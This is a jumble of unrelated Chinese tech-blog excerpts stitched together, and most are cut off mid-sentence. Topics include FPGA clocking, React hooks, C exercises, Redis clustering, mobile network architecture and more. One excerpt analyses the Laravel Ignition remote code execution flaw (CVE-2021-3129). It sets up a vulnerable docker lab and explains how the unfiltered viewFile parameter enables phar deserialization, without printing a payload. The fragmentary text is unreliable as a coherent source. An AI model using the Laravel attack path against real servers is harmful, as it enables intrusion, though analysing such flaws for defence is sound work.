HROW即水平时钟线,也就是在第二章中所阐述的BUFH或BUFG所走的线,由下图我们可以看到,很明显在每个BANK中间有一条白色线,这就是HROW,时钟沿着水平中心线向两侧延伸以为其他器件提供时钟。而左右BANK对称的中心线即为“Clock Backbone”,BUFG在一定长程度上水平分别在“Clock Backbone”中间,一般来讲上部分16个BUFG时钟源来自上半部分的所有BANK,下部分16个BUFG时钟源来自下半部分的所有BANK,而他们的输出可以到整个device的任意位置。
如下图是在第二章描述的各种BUF的大致路由概念图,其中黑点表示连接,竖线带箭头表示可驱动区域,箭头延伸出虚线框表示本BANK以外的其它BANK。BUFG可以通过水平时钟线(HROW)驱动片上任意可接时钟资源,BUFH通过HROW可以驱动本BANK的任意可接时钟资源,它们是共享HROW。BUFIO仅可驱动I/O BANK中的可接时钟资源,BUFR可驱动I/O BANK及其它逻辑资源,BUFMR可驱动多BANK的BUFIO和BUFR。
如下图是较为详细的各时钟资源驱动图,暗红色线来自CC,每个BANK有4个,可以驱动本bank及上下相邻bank的CMT、BUFH和BUFG。“GT Quad”也就是高速接口可以通过十条专用时钟线驱动CMT 、BUFG和BUFH,BUFH,如橘黄色线所描述。CMT的前四个输出时钟信号的取反信号“CLKOUTB[3:0]”可以具有反馈功能亦可驱动其他时钟网络,CMT的输出时钟“黑色线”则可连接到BUFG、BUFH等资源。绿色线是CLKFBOUT,用来做反馈电路或可驱动其他资源,但这个信号都不重要,或可有些具体逻辑用到,到时候因知道这些再去研究其使用方法。
如下图是《UG472》提供的更为详细的时钟架构,可以瞅瞅~。
具体的时钟资源的驱动关系如下表所示
对象
驱动源
驱动对象
MRCC
外部时钟
1、同BANK的4个BUFIO、BUFR和两个BUFMR
2、同BANK或上下BANK的CMT
3、16个BUFG或BUFH
SRCC
今天突发奇想 用了React怎么久还没有写过关于函数组件里useEffect在组件的执行顺序 下面我会按照自己的一些想法介绍 创作不易 望大家多多支持 点赞
我们需要探讨的就是 在父组件嵌套多层子组件的情况下每个组件里useEffect与页面渲染顺序 以及在修改父组件或子组件时 的执行顺序
大致结构是这样的
以下是我的测试代码 import React, { useState, useEffect } from 'react' import ReactDOM from 'react-dom' function Com3 () { const [isShow, setisShow] = useState(true) console.log('孙组件主线程') useEffect(() => { console.log('孙组件副作用') return () => { console.log('孙组件清理函数') } }) return ( <div style={{ backgroundColor: '#f09', height: 50, width: 50 }}> 孙组件 {console.log('孙')} <button onClick={() => { setisShow(false) }}> {isShow}按钮 </button> </div> ) } function Com2 () { const [isShow, setisShow] = useState(true) console.
地址 https://www.acwing.com/video/1331/
描述 代码 class Solution { public: string longestCommonPrefix(vector<string>& strs) { string res;//最长公共前缀 if(strs.empty()) return res; string s=strs[0];//取出第一个字符串 int length=s.size();//第一个字符串长度 //将第一个字符串中j指针指向的字符依次与其他字符串中相同位置的字符进行比较 //一旦出现不同缩短前缀长度 for(int i=1;i<strs.size();i++){ for(int j=0;j<length;j++){ if(s[j]!=strs[i][j]){ length=j;//每次的前缀只增不减 break; } } } res=s.substr(0,length); return res; } };
Eclipse下运行C++程序 文章目录 Eclipse下运行C++程序装CDT插件测试运行C++程序附加说明 众所周知Eclipse是常用于编写java的集成开发工具, 但是像CodeBlocks和Dev-C++这类集成开发工具就只能编写C或C++的程序,极为不方便。写java的时候又得开一个Eclipse就 十分占用电脑有限的内存空间。如果有同时编写C++和java代码的需要就十分不方便了,直接在Eclipse上安装CDT插件即可解决。 这时候就能直接在Eclipse上完成java和C++的编写, 而且在Eclipse中运行C++程序可以省去运行程序时系统弹出的那个“黑乎乎”的命令提示符窗口的麻烦, 可直接在Eclipse的编辑器中看到运行结果。
装CDT插件 点击Help, 选择Eclipse Marketplace wizard 在搜索窗口输入CDT, 点击Go
搜索中有 Eclipse C/C++ IDE CDT 10.1(2020-12) (可能会有更新,有些许版本名称差异)
点击安装Install
插件安装中 接收许可, 选中accept ....., 然后点击Finish 点击Finish之后他们会在后台安装, 注意部分内容还没安装完
等待安装中 …
安装完后, Eclipse会自动弹出重启的窗口, 点击Restart Now 即可重启
测试运行C++程序 重启后的效果 : 选择新建一个项目Project 选择C/C++ 选择C++项目 这里为了方便测试是否能运行C++程序, 就直接按它的HelloWorld模板来建立文件 如果Toochains栏没有可选的编译器, 则说明你没有安装C++的编译器或者你已经安装了, 但是它没有找到你安装的地方(设置系统的环境变量即可解决)。(比如我的有MinGW GCC, 则说明有编译器并且已经找到) 新建好cpp文件后, 左边的文件栏框可以看到该C++项目的文件夹及文件它自动导入MinGW的库, 从路径中也可看出是设置了MinGW的环境变量, 系统才能自动找到该编译器, 而且我用的是之前安装CodeBlocks时装的编译器。(注意 : 如果当时安装编译器时没有设置环境变量, Eclipse是不能自动找到编译器的)src文件夹下放源代码文件 这是自动生成的HelloWorld的模板代码 //============================================================================ // Name : HelloWorld.cpp // Author : // Version : // Copyright : Your copyright notice // Description : Hello World in C++, Ansi-style //============================================================================ #include <iostream> using namespace std; int main() { cout << "
Laravel Debug mode远程代码执行漏洞(CVE-2021-3129)复现分析 漏洞描述: Laravel 是一个免费的开源 PHP Web 框架,在国内外应用十分广泛。2021年1月份,国外某安全研究团队披露了 Laravel <= 8.4.2 版本中存在远程代码执行漏洞。
当Laravel开启了Debug模式时,由于Laravel自带的Ignition组件的某些函数功能存在过滤不严的问题,导致攻击者可以发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,造成远程代码执行,执行任意命令控制服务器。
影响范围: Laravel 框架 < 8.4.3
facade ignition 组件 < 2.5.2
漏洞分析: 环境搭建 系统环境:centos 7
Laravel:Laravel v8.30.0
PHP:PHP v7.3.25
运行以下命令使用docker部署Laravel漏洞环境
git clone https://github.com/SNCKER/CVE-2021-3129
cd CVE-2021-3129
docker-compose up -d
docker images
浏览器访问http://ip:8888,出现以下界面则表示Laravel漏洞环境搭建成功
远程代码执行漏洞分析 安装好环境,使用命令
docker ps -a
docker exec -it d1ef96fcb17f /bin/sh
进入容器,执行容器命令
查看.env文件,此时app key为空
在错误页面点击generate app key
burpsuite抓包可以抓到一个参数为solution的post请求包。
此时再去查看.env文件,app key已经被赋予了一个值。
刷新页面也正常了。
在源码中搜索上述请求包中的GenerateAppKeySolution,发现其在\Laravel\src\vendor\facade\ignition\src\Solutions路径下。在这个目录下存在9个solution php文件,通过这些solution,开发者可以通过点击按钮的方式,快速修复一些错误。本次漏洞就是其中的MakeViewVariableOptionalSolution.php过滤不严谨导致的。
所有的solution都是通过solution控制器进行调用的,控制器的路径为\Laravel\src\vendor\facade\ignition\src\Http\Controllers\ExecuteSolutionController.php。当解决不同的错误时,就会调用不同的solution,solution中的run方法会接收参数执行相应操作。
跟进MakeViewVariableOptionalSolution.php中的run方法,发现其调用了makeOptional方法。makeOptional方法采用file_get_contents函数处理接收参数中的viewFile参数,file_get_contents函数的作用是把整个文件读入一个字符串中。此处viewFile参数是可控的,且接收后也未作任何处理。
可以实现php反序列化漏洞从而RCE,如果存在文件上传功能,通过在文件中插入构造的恶意序列化内容,上传后配合配合phar://伪协议给viewFile参数赋值,就可以实现反序列化远程命令执行
Centos8 设置中文 1、一般情况1.1 进入设置选择 Region&Language1.2 点击 加号1.3 点击 汉语(中国)1.4 选择 汉语(智能拼音) 2、特殊情况2.1 安装2.2 设置 3、进一步设置3.1 选择 汉语(智能拼音)3.2 可以根据需求设置 4、最后切换输入法 1、一般情况 1.1 进入设置选择 Region&Language 1.2 点击 加号 1.3 点击 汉语(中国) 1.4 选择 汉语(智能拼音) 2、特殊情况 有些虚拟机可能没有 汉语(智能拼音)的这一项
2.1 安装 管理员权限执行:
yum install ibus ibus-libpinyin 2.2 设置 安装完后就会发现有 汉语(智能拼音)的这一项 。
注意:如果还是没有重启一下
3、进一步设置 3.1 选择 汉语(智能拼音) 3.2 可以根据需求设置 4、最后切换输入法 按键作用 shift + super + 空格切换至上个输入源 super + 空格切换至下个输入源 super 键 在 w i n d o w window window 系统中即为 window 键。
题目:使用C语言实现:1+2+3+……+100的和,要求分别用while、do while、for循环实现。
解题思路:这是一个累加的问题,需要先后将100个数相加。要重复进行100次加法运算,显然可以用循环结构来实现。重复执行循环体100次,每次加一个数
源码演示:
//for循环 #include<stdio.h> //头文件 int main() //主函数 { int i,sum=0;//定义变量 for(i=1;i<101;i++)//循环条件和增量 { sum=sum+i; //和 } printf("%d",sum);//输出结果 return 0;//函数返回值为0 } //while循环 #include<stdio.h>//头文件 int main()//主函数 { int i=1,sum=0;//定义变量 while(i<101)//循环条件和 { sum=sum+i;//和 i=i+1; //增量 } printf("%d",sum);//输出结果 return 0;//函数返回值为0 } //do while循环 #include<stdio.h>//头文件 int main()//主函数 { int i=1,sum=0;//定义变量 do{ sum=sum+i;//和 i=i+1; //增量 }while(i<101); //循环条件 printf("%d",sum);//输出结果 return 0;//函数返回值为0 } 以上三种实现编译结果都是如下:
5050 -------------------------------- Process exited after 2.19 seconds with return value 0 请按任意键继续.
C#编写的程序,经过编译器把编译后,源代码被转换成Microsoft中间语言(MSIL)。MSIL不是真正可执行的代码。因此,要真正执行MSIL应用程序,还必须使用“JIT编译器”,对MSIL再次编译,以得到主机处理器可以真正执行本机指令。JIT编译器以即时方式编译MSMIL代码,以便应用程序执行。
目录
第四章 Hive函数
4.1 聚合函数
4.2 关系函数
4.3 数学运算
4.4 逻辑运算
4.5 数值运算
4.6 条件函数
4.7 日期函数
4.8 字符串函数
4.9 字符串截取函数 4.10 去空格函数
4.11 正则表达式与解析函数
4.12 explode函数
4.13 行转列与列转行
4.14 基础窗口函数与分析函数
4.14.1 窗口函数简介
4.14.2 窗口的含义
4.14.3 窗口函数分类
4.14.4 窗口函数的使用
4.14.5 窗口函数与group by区别
4.16 高级窗口函数 (todo)
4.17集合操作函数(todo)
4.18类型转换函数
第四章 Hive函数 4.1 聚合函数 Hive支持count(),max(),min(),avg()等常用的聚合函数。
4.2 关系函数 支持 =, !=, <>, < , >, <= , >, >=
空值判断:is null, is not null.
开发过程中,发现在一些多页面入口的vue开发模式中,存在火狐52低版本浏览器无法编译es6代码,导致节目无法渲染,发现有如下几种解决方法
设置package.json中browserslist ”browserslist“:[ "> 0.1%", "IE 10", "Firefox > 20" ] 参考文档:https://www.cnblogs.com/chun321/p/13070553.html#_label0
b.使用babel-loader强制编译es6代码
module.exports={ configureWebpack:config =>{ config.module .rule('js') .test(/\.js$/) .include .add(resolve('../src')) //制定需要编译的文件 .end() .exclude .add(resolve('../node_modules')) //排除需要编译的文件 .end() .use('babel') .loader('babel-loader') } }
unique_ptr实现的是专属所有权语义,用于独占它所指向的资源对象的场合。某个时刻只能有一个unique_ptr指向一个动态分配的资源对象,也就是这个资源不会被多个unique_ptr对象同时占有,它所管理的资源只能在unique_ptr对象之间进行移动,不能拷贝,所以它只提供了移动语义。资源对象的生命周期被唯一的一个unique_ptr对象托管着,一旦这个unique_ptr对象被销毁或者变成空对象,或者拥有了另一个资源对象,它所管理的资源对象同时一并销毁。资源对象要么随同unique_ptr对象一起销毁,要么在离开unique_ptr对象的管理范围时被销毁,从而保证了内存不会泄露。
unique_ptr以模板形式提供的,它有两种版本:一个是普通版本,即标量版本,用于管理一个动态分配的资源对象;另一个是数组版本,是一个偏特化版本,用于管理一个动态分配的数组。
下面看一下它的用法。
构造对象
构造一个unique_ptr相当简单,以int资源类型为例:
unique_ptr<int> up(new int(8)); // 创建一个指向int型对象的指针,删除器缺省为delete unique_ptr<int[]> ar_up(new int[10]); // 指向一个10个元素的int型数组,删除器缺省为delete[] 定义数组版本的unique_ptr对象时,模板参数需要声明为数组形式,注意在模板参数中不要指定数组的大小,写成下面那样的定义是无法编译的。
unique_ptr<int[10]> ar_up(new int[10]); // 无法编译 也不要使用普通版本来分配数组,下面代码编译时没有问题,但是运行时会可能出错,因为在销毁资源时,使用的是delete操作符,不是delete[]操作符。
unique_ptr<int> ar_up(new int[10]); // 编译没有问题,但是运行时可能会出错 unique_ptr可以不拥有资源对象,使用缺省构造函数创建的是不拥有任何资源的空对象:
unique_ptr<int> up_empty; unique_ptr<int[]> ar_empty; 空对象可以在需要的时候使用reset()为它分配指针。
up_empty.reset(new int(42)); ar_empty.reset(new int[10]); 或者移动一个unique_ptr对象给它.。
up_empty= move(up); ar_empty = move(ar_up); 构造unique_ptr对象时,不能直接把裸指针赋值给unique_ptr对象,它没有提供这样的隐式转换,但是可以把nullptr赋值给unique_ptr对象。
//! std::unique_ptr<int> up_0 = new int(4); // error std::unique_ptr<int> up_1(nullptr); // 可以使用nullptr直接构造 std::unique_ptr<int> up_2 = nullptr; // 可以使用nullptr直接赋值 up_2.reset(nullptr); 定制删除器
构造unique_ptr对象时除了传递指针外,还可以提供一个删除器。如果没有指定删除器,unique_ptr会使用缺省删除器,即缺省使用delete和delete[]来销毁对象,分别用于普通版本和数组版本。如果动态分配的资源有专门的释放函数,必须在构造时同时提供一个删除器。比如:
unique_ptr<int, void(*)(int*)> up2(new int(4), [](int *ptr){delete ptr;}); unique_ptr<int[], function<void(int*)>> ar_up2(new int[10], [](int *ptr){delete[] ptr;}); 删除器要求是可调用对象,它的类型可以是函数指针、函数对象、lambda表达式、function对象等。
目录
前言
一、Redis集群
1、简介
2、优势
3、单一Redis服务器存在的问题
4、作用
4.1 数据分区
4.2 高可用
4.3 数据分片
5、为什么要实现Redis Cluster
二、 搭建Cluster集群
1、 环境
2、安装redis
3、创建链接文件,并启动服务
4、创建redis 6个端口的工作目录
5、创建并启动脚本
6、 查看redis进程启动状态
7、修改配置文件
8、根据对应配置文件启动redis
9、加入集群
10、测试群集
总结
前言 通过之前的文章,我们了解到了redis的编译安装流程,以及配置优化内容。这里,我们将深入讲解redis群集的应用,并模拟主从redis服务集群的搭建。
一、Redis集群 1、简介 Redis集群是一个提供在多个Redis间节点共享数据的程序集;
Redis集群并不支持多处理多个Keys的命令,应为这需要在不同节点间移动数据,从而达不到像Redis那样的性能,在
高负载的情况下可能会导致不可预料的错误;
Redis集群通过分区来提供一定程度的可用性,在实际环境中档某个节点宕机或则不可达的情况下继续处理命令。
2、优势 自动分割数据到不同节点上;
整个集群的部分节点失败或不可达的情况下依旧可以处理业务指令。
3、单一Redis服务器存在的问题 存在单点故障; 不满足高并发的需求; 数据丢失引发灾难(容错率非常低);
4、作用 4.1 数据分区 数据分区(或称数据分片)是集群最核心的功能,集群将数据分散到多个节点,一方面突破了 Redis 单机内存大小的限制,存储容量大大增加,另一方面每个主节点都可以对外提供读服务和写服务,大大提高了集群的响应能力,Redis 单机内存大小受限问题,在介绍持久化和主从复制时都有提及。
4.2 高可用 集群支持主从复制和主节点的自动故障转移(与哨兵类似),当任意节点发送故障时,集群仍然可以对外提供服务。
4.3 数据分片 Redis 集群引入了哈希槽的概念,有 16384 个哈希槽(编号 0~16383),集群的每个节点负责一部分哈希槽,每个 Key 通过 CRC16 校验后对 16384 取余来决定放置哪个哈希槽,通过这个值,去找到对应的插槽所对应的节点,然后直接自动跳转到这个对应的节点上进行存取操作。
1.false (布尔型)
2.null (用于定义空的或者不存在的引用)
3.undefined (未定义值)
4.0 (数值型)
5."'' (空字符串) (字符型)
6.NaN
这里面 false 本身是布尔类型,其它 5 个则不是。除了这 6 个外,其它均为“真” ,包括对象、数组、正则、函数等。注意 '0'、'null'、'false'、{}、[]也都是真值
Lombok在前后端交互时因为JavaBean中get/set导致字段大小写不一致的问题,一般常见的字段遵循驼峰命名没有任何问题,但一些特殊的字段比如cId传到前端却变成了cid,导致字段不一致,赋值出现问题,归根结底是get/set出现了问题。
1、JavaBean的生成规则 JavaBean定义:一种JAVA语言写成的可重用组件,通过提供符合一致性设计模式的公共方法将内部域暴露成员属性,set和get方法获取。众所周知,属性名称符合这种模式,其他Java 类可以通过自省机制(反射机制)发现和操作这些JavaBean 的属性。
主要规则:
必须有 一个无参构造且为public必须为公共类 public不应有公共实例属性,属性都为private,且以小写字母开头,驼峰命名格式,相应的 getter/setter 方法是 get/set 接上首字母大写的属性名。例如:属性名为userName,其对应的getter/setter 方法是 getUserName/setUserName。可通过IDE(Eclipse、IDEA) 为属性生成getter/setter 方法如果属性名的第二个字母大写,那么该属性名直接用getter/setter 方法中 get/set 的后部分,就是说大小写不变。例如属性名uName,方法是getuName/setuName。如果属性中字母均是大写(一般的专有名词和缩略词都会大写),也是属性名直接用作 getter/setter 方法中 get/set 的后部分。例如属性名为URL,方法是getURL/setURL。如果首字母大写,也是属性名直接用作 get/set 方法中 get/set 的后部分。例如属性名为Name,方法是getName/setName,这种是最糟糕的情况,会找不到属性出错,因为默认的属性名是name。 private Integer cId; //get/set public Integer getcId() { return cId; } public void setcId(Integer cId) { this.cId = cId; } //最后得到cId 2、Lombok的生成规则 一句话get/set都会将首字母大写
@Data public class JavaBean{ private Integer cId; //lombok帮你生成的 public Integer getCId() { return cId; } //lombok帮你生成的 public void setCId(Integer cId) { this.
这里写自定义目录标题 使用tee命令可以把该指令执行后所有打印日志输出到文件中: 使用tee命令可以把该指令执行后所有打印日志输出到文件中: 统一格式:需要执行的命令 | tee 要输出的文件名
比如:
执行.sh文件
bash run.sh | tee export1.log
执行ifconfig
ifconfig | tee export2.log
在用switch时,发现输入字符变量时死循环
这时候我们需要清空cin中的缓冲区
解决方案:
cin.clear(); //如果输入字符型,将会出现switch死循环,所以我们要清楚缓冲区,用 cin.ignore(9999,'\n'); //clear清除错误状态,然后再用ignore清除缓冲区。
个人问题重现:
Minimum supported Gradle version is 6.5. Current version is 6.1.1. 分析:
我的AS版本是4.1.1,对应的最低版本是6.5,而我用的gradle是6.1的,所以报错
解决方法:将依赖改为对应6.1版本的就可以了
dependencies { classpath "com.android.tools.build:gradle:4.0.1" // NOTE: Do not place your application dependencies here; they belong // in the individual module build.gradle files } 然后的话,网上还有一些改变gradle-wrapper.properties.xml文件distributionUrl路径的方法,我都试了一下,如果AS对应的这个依赖版本不能满足你的gradle最低版本的话,你改变gradle-wrapper.properties.xml文件distributionUrl路径也没有用,所以,首先确定你的gradle是否满足你当前AS最低版本之上。如果满足,那就去修改gradle-wrapper.properties.xml文件distributionUrl路径,如果不满足,那就先去修改依赖。
文章目录 一、GSM网络结构(2G)二、GPRS叠加网络结构(2.5G)三、UMTS网络结构(3G)四、LTE网络结构(4G) 无线接入网:负责接收用户终端的无线信号,由此接入到通信网络; 核心网:对用户数据的管理及具体业务处理,并作为承载网络提供到外部网络的接口。
一、GSM网络结构(2G) 通常,我们所说的2G网络指的就是基于GSM的网络,它的结构主要由四部分构成:
移动台MS(Mobile Station),它的功能是负责无线信号的收发及处理;
基站子系统BSS(Base Station Subsystem),它属于接入网部分,由基站收发信台BTS(Base Transceiver Station)和基站控制器BSC(Base Station Controller)两部分构成。BTS通过Um空中接口收到MS发送的无线信号,然后将其传送给BSC,在BSC负责无线资源的管理及配置(诸如功率控制,信道分配等),然后通过A接口传送至核心网部分;
网络子系统NSS(Network and Switching Subsystem),它是核心网的核心部分,主要由MSC、VLR、HLR、AUC、EIR等功能实体组成。其中,移动业务交换中心MSC(Mobile service Switching Center)是NSS核心,负责处理用户具体业务;访问位置寄存器VLR(Visit Location Register)和归属位置寄存器HLR(Home Location Register)主要负责移动性管理及用户数据库管理的功能;鉴权中心AUC(Authentication Center)和设备识别寄存器EIR(Equipment Identity Register)主要负责安全性方面的功能;网关型GMSC负责提供接入外部网络接口;
操作管理系统OMS(Operations Management System),它主要负责网络的监视,状态报告及故障诊断等,在此不作具体介绍。
GSM网络结构图如下:
GSM数据业务:http://www.tlsun.com.cn/tc/index_menu2.asp?menu_serial=17&menu_id=68
二、GPRS叠加网络结构(2.5G) 从GSM网络(2G)演进到GPRS网络(2.5G),最主要的变化是引入了分组交换业务。原有的GSM网络是基于电路交换技术,不具备支持分组交换业务的功能。因此,为了支持分组业务,在原有GSM网络结构上增加了几个功能实体,相当与在原有网络基础上叠加了一小型网络,共同构成GPRS网络。
接入网方面,在BSC上增加了分组控制单元PCU(Packet Control Unit),用以提供分组交换通道;
核心网方面,增加了服务型GPRS支持节点SGSN(Service GPRS Supported Node)和网关型GPRS支持节点GGSN(Gateway GPRS Supported Node),功能方面与MSC和GMSC一致,只不过处理的是分组业务,外部网络接入IP网;
从GPRS叠加网络结构开始,引入了两个概念。一个是电路交换域,一个是分组交换域,也就是我们常说的Cs域与Ps域。
GPRS叠加网络结构图如下:
三、UMTS网络结构(3G) 通信技术发展到3G,在速率发面有了质的提高,而网络结构上,同样发生巨大变化。
首先,伴随技术的发展,空中接口也随之改变。之前网络结构中的Um空中接口换成了Uu接口,而接入网与核心网接口也换成了Iu口;然后,在接入网方面,不再包含BTS和BSC,取而代之的是基站NodeB与无线网络控制器RNC(Radio Network Controller),功能方面与之前保持一致,在核心网方面基本与原有网络共用,无太大区别。
NodeB的功能:主要完成射频处理和基带处理两大类工作。射频处理:主要完成发送或接收高频无线信号,以及高频无线信号和基带信号的相互转换功能;基带处理:主要完成信道编/译码、复用/解复用、扩频调制及解扩/解调功能。
RNC的功能:主要负责控制和协调基站间配合工作,主要完成系统接入控制、承载控制、移动性管理、宏分集合并、无线资源管理等控制功能。
CS域:电路交换,主要包括一些语音业务,也包括电路型数据业务,最常见的是传真业务;
PS域:分组交换,主要是常见的数据业务,也包括流媒体业务、VOIP(voice over IP)等等。
UMTS网络结构图如下:
四、LTE网络结构(4G) 很多人说所谓的4G,即LTE技术不是一种演进,而是一场变革。其实,我们不需要太多的了解技术细节,但从网络结构方面,我们就能看出一二。
整个LTE网络从接入网和核心网方面分为E-UTRAN和EPC。首先,接入网方面,它不再包含两种功能实体,整个网络只有一种基站eNodeB,它包含了整个NodeB和部分RNC的功能,演进过程可以概括为:“少一层,多一口,胖基站”;其次,EPC(Evolved Packet Core)方面,它对之前的网络结构能够保持前向兼容,而自身结构方面,也不再有之前各种实体部分,取而代之的主要就换成了移动管理实体MME(Mobile Management Entity)与服务网关S-GW,分组数据网关,外部网络只接入IP网。
1.无线接入网:
少一层:四层组网架构变为三层,去掉了RNC(软切换功能也不复存在),减少了基站和核心网之间信息交互的多节点开销,用户平面时延大大降低,系统复杂性降低;
目录 微信小程序+mysql实现增删改查一、效果展示二、相关知识点1、wx.chooseImage(Object object) 选择图片2、wx.uploadFile(Object object) 上传文件3、wx.request(Object object) 发起HTTPS网络请求4、微信小程序--input输入值的获取和传递5、两个页面之间传值1.url传值2.本地存储3.全局的app对象 6、data-绑定数据 三、源码add.wxmladd.wxssadd.jslist.wxmllist.wxsslist.jsupdate.wxmlupdate.wxssupdate.jsFileUpload.javaFileDao.javaUpdateDevice.javaDeleteDevice.java数据库的相关设计如下 微信小程序+mysql实现增删改查 一、效果展示 添加并显示
更新并显示
删除同理,就不放图了---------
二、相关知识点 1、wx.chooseImage(Object object) 选择图片 参数:
官方示例代码:
wx.chooseImage({ count: 1, sizeType: ['original', 'compressed'], sourceType: ['album', 'camera'], success (res) { // tempFilePath可以作为img标签的src属性显示图片 const tempFilePaths = res.tempFilePaths } }) 2、wx.uploadFile(Object object) 上传文件 参数:
官方示例代码:
wx.chooseImage({ success (res) { const tempFilePaths = res.tempFilePaths wx.uploadFile({ url: 'https://example.weixin.qq.com/upload', //仅为示例,非真实的接口地址 filePath: tempFilePaths[0], name: 'file', formData: { 'user': 'test' }, success (res){ const data = res.
目录
一、总体思路
1.基本菜单和选择实现
2.棋盘初始化和打印
3.玩家和电脑轮流下棋
4.胜利判断条件
二、各部分实现
1.开始菜单
2.初始化和打印
3.玩家和电脑输入
4.胜利判断
三、工程下载
四、总结
一、总体思路 1.基本菜单和选择实现 2.棋盘初始化和打印 3.玩家和电脑轮流下棋 4.胜利判断条件 二、各部分实现 1.开始菜单 就是switch游戏选择,注意input取值选择
int main () { int input = 0; do { menu(); printf("选择:"); scanf("%d",&input); switch (input) { case 1: game(); break; case 0: printf("游戏结束\n"); break; default: printf("重新选择\n"); break; } } while (input); return 0; } 2.初始化和打印 注意-和|打印
void Init(char board[ROW][COL], int row, int col) { for (int i = 0; i < ROW; i++) { for (int j = 0; j < COL; j++) { board[i][j] = ' '; } } } void Print(char board[ROW][COL], int row, int col) { for (int i = 0; i < ROW; i++) { for (int j = 0; j < COL; j++) { printf("
方式1:homebrew 安装 brew install yarn 之后以为坐等结果就万事大吉了,等了半天的结果
开始以为权限不够于是
最后解决方案是用npm安装,完美解决问题
查看安装的版本号和全局的bin目录
扩展:告诉大家一些yarn的常用命令
consloe控制台输入命令:
查看yarn版本, 正常显示版本表示安装成功 yarn -v 查看所有配置 yarn config list 查看当前yarn的bin的位置 yarn global bin 查看当前yarn的全局安装位置 yarn global dir 删除yarn npm uninstall -g yarn
扫雷游戏可以说是非常经典的小游戏了,今天我们就试着用C语言实现这个小游戏
目录
1.想法
2.代码
3.思路
4.优化(递归)
1.想法 写代码前要先想想框架怎么能够实现这个游戏,首先它有着9*9的棋盘,棋盘上有随机放置的雷,
点击其中一个坐标判断它是不是雷,当不是雷时判断周围8个坐标并返回周围8个坐标下雷的个数。想到这里我们就不难发现其实就是通过二维数组来实现的,但在随机放雷时判断周围坐标时可能存在越界,所以我们将棋盘改为11*11就实现了如下图效果,知道了数组大小就可以开始完成代码了
2.代码 为了提高代码的可读性我们依旧分为3个文件分别是1.game.h 2.game.c 3.test.c
我们分别来看看不同文件的内容
1.game.h
#pragma once #include<stdio.h> #include<stdlib.h> #include<time.h> #define ROW 9 #define COL 9 #define ROWS ROW+2 #define COLS COL+2 #define MY_MINE 10 void Initboard(char board[ROWS][COLS], int rows, int cols, char ret);//初始化 void Displayboard(char board[ROWS][COLS], int row, int col);//打印 void Set_mine(char board[ROWS][COLS], int row, int col);//埋雷 void Find_mine(char mine[ROWS][COLS], char show[ROWS][COLS], int row, int col);//扫雷 在头文件game.h中有#include包含的库函数,#define定义的常量以及实现游戏的函数声明
2.game.c
2021年电子设计大赛总结 前几天2021年的电子设计大赛刚落下帷幕,博主今年是第二次参加电子设计大赛了。众所周知,今年的电子设计大赛属于国赛,相对于2020年的电子设计大赛,它的含金量更高。 不过不得不说,含金量和它的压力感真的是成正比,越想在比赛中取得好成绩,就越会给自己疯狂施压,对自己的期待和要求就会越来越高,怕辜负队友这么长的时间的努力。 从暑假开始准备,把2020年的题目重新完成还有2019年的题目,2018以及2017年的题目全都做了一遍,再到出器件清单的那晚开始,便开始猜题,我们能准备的东西都准备了,只能说组委会那边确实心思深,我们永远也猜不到一丝一毫。 但是值得感谢的还是我的队友,多亏了他的鼓励,我才能有这样的抗压能力。虽然测评结束,成绩估计不太理想。但是这个过程值得怀念。在4天3夜的极度高压环境中,面对来至接踵而至的压力,从满腔的委屈到全然释怀,估计就是一种成长吧。
uniapp nvue中的text标签 不能有空格,回车等 都会被识别进去 渲染出莫名的边距
font-size color 属性失效 看一看是不是因为text标签
文档中有说明: